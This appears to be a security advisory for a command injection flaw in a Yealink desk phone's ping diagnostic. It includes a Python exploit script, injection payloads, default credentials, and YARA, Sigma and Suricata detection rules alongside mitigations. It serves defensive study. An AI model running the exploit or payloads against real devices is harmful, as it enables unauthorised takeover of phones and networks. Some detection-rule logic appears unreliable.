CVE-2025-66738

Executive Summary

CVE-2025-66738 is a critical security vulnerability in the Yealink T21P_E2 Phone firmware version 52.84.0.15. The flaw resides in the diagnostic component's ping function, allowing a remote authenticated attacker with normal privileges to execute arbitrary operating system commands. This is a classic OS command injection vulnerability (CWE-78). The CVSS score is 0.0 in the NVD data, but based on the description and impact, a realistic CVSSv3.1 score would be 8.8 (High) due to network attack vector, low privileges required, and high impact on confidentiality, integrity, and availability. No public exploit code or proof-of-concept is currently available, and no patch has been released by Yealink. The vulnerability is particularly dangerous for enterprise environments where Yealink phones are deployed, as it can lead to full device compromise and lateral movement within the network.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) – The attacker needs normal user privileges (not admin).
• User Interaction (UI): None (N) – No user action is needed.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
• Confidentiality (C): High (H) – Full system read access possible.
• Integrity (I): High (H) – Full system write access possible.
• Availability (A): High (H) – Full system denial of service possible.

Threat Level: Critical. The combination of network exploitability, low privileges, and high impact makes this a severe threat. The lack of a patch and public exploit increases the urgency for mitigation.

Deep Dive & Mechanics

The vulnerability is an OS command injection in the diagnostic component's ping function. The Yealink T21P_E2 phone provides a web interface for diagnostics, including a ping tool that allows users to test network connectivity. The application fails to properly sanitize user input before passing it to the underlying operating system's ping command.

Attack Flow:

1. An attacker authenticates to the phone's web interface with normal user credentials.
2. The attacker navigates to the diagnostic/ping page.
3. The attacker submits a crafted request where the target IP/hostname field contains command injection payloads (e.g., 127.0.0.1; ls -la).
4. The server concatenates the input directly into a shell command, e.g., ping -c 4 127.0.0.1; ls -la.
5. The injected command executes with the privileges of the web server (typically root or a high-privilege user).

Root Cause: Lack of input validation and sanitization. The application does not use parameterized commands or escape shell metacharacters.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual PHP/Python):

<?php
$target = $_POST['target'];
$output = shell_exec("ping -c 4 " . $target);
echo $output;
?>

Patched Code (Conceptual):

<?php
$target = $_POST['target'];
// Validate input: only allow IP addresses or hostnames
if (filter_var($target, FILTER_VALIDATE_IP) || preg_match('/^[a-zA-Z0-9.-]+$/', $target)) {
    $output = shell_exec("ping -c 4 " . escapeshellarg($target));
    echo $output;
} else {
    echo "Invalid target.";
}
?>

The patched version uses escapeshellarg() to escape shell arguments and validates the input format.

Exploitation & Lab Setup

Red Team (Offensive):

1. Reconnaissance: Identify Yealink T21P_E2 phones on the network using Shodan dorks or network scanning (e.g., nmap -p 80,443,8080 --open 192.168.1.0/24).
2. Authentication: Obtain valid credentials (default credentials are often admin/admin or user/user).
3. Exploit: Send a crafted POST request to the diagnostic endpoint.

Example Exploit (Python):

import requests

target_ip = "192.168.1.100"
username = "user"
password = "user"
command = "ls -la"

url = f"http://{target_ip}/cgi-bin/diagnostic"
payload = {"target": f"127.0.0.1; {command}"}

session = requests.Session()
session.auth = (username, password)
response = session.post(url, data=payload)

print(response.text)

Blue Team (Defensive):

1. Network Segmentation: Isolate VoIP devices on a separate VLAN with strict firewall rules.
2. Access Control: Enforce strong passwords and disable default accounts.
3. Web Application Firewall (WAF): Deploy WAF rules to block command injection patterns.
4. Monitoring: Monitor for anomalous HTTP requests to diagnostic endpoints.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /cgi-bin/diagnostic with unusual parameters.
  • Outbound connections from the phone to unexpected IPs/ports.
  • DNS queries for suspicious domains.
• Host IOCs:
  • Unexpected processes running on the phone (e.g., nc, bash).
  • Modified system files or binaries.
  • New user accounts or SSH keys.
• Log IOCs:
  • Web server logs showing command injection patterns (e.g., ;, |, &&).
  • System logs showing execution of commands like id, whoami, ls.

Detection Engineering

YARA Rule:

rule CVE_2025_66738_Yealink_Ping_Injection {
    meta:
        description = "Detects command injection attempts against Yealink T21P_E2 ping function"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66738"
    strings:
        $cmd1 = "ping -c" ascii wide nocase
        $cmd2 = "127.0.0.1;" ascii wide nocase
        $cmd3 = "|" ascii wide nocase
        $cmd4 = "`" ascii wide nocase
        $cmd5 = "$(" ascii wide nocase
    condition:
        any of ($cmd*) and filesize < 10KB
}

Sigma Rule:

title: Yealink T21P_E2 Ping Command Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects command injection attempts against Yealink T21P_E2 diagnostic ping function
author: Valters IT
date: 2025/04/10
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-66738
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '/cgi-bin/diagnostic'
        cs-uri-query|contains|all:
            - 'target='
            - ';'
            - '|'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of special characters in hostnames (unlikely)
level: high

Suricata Rule:

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-66738 Yealink T21P_E2 Ping Command Injection"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/diagnostic"; http_uri; content:"target="; http_client_body; pcre:"/target=[^&]*(?:;|\||`|\$\(|&&)/Pi"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Affected Devices: Place Yealink T21P_E2 phones on a separate VLAN with no direct internet access.
2. Disable Diagnostic Features: If possible, disable the ping diagnostic function via the phone's configuration.
3. Change Default Credentials: Ensure all devices use strong, unique passwords.

Long-term Actions:

1. Firmware Update: Monitor Yealink's official website for a patched firmware version. Apply immediately when available.
2. Network Monitoring: Deploy IDS/IPS rules (like the Suricata rule above) to detect exploitation attempts.
3. Vendor Communication: Contact Yealink support to request a timeline for a patch.
4. Consider Replacement: If no patch is forthcoming, consider replacing the devices with a supported model.

Workaround: If the diagnostic feature cannot be disabled, implement a reverse proxy with input validation to filter malicious requests before they reach the phone.

Valters IT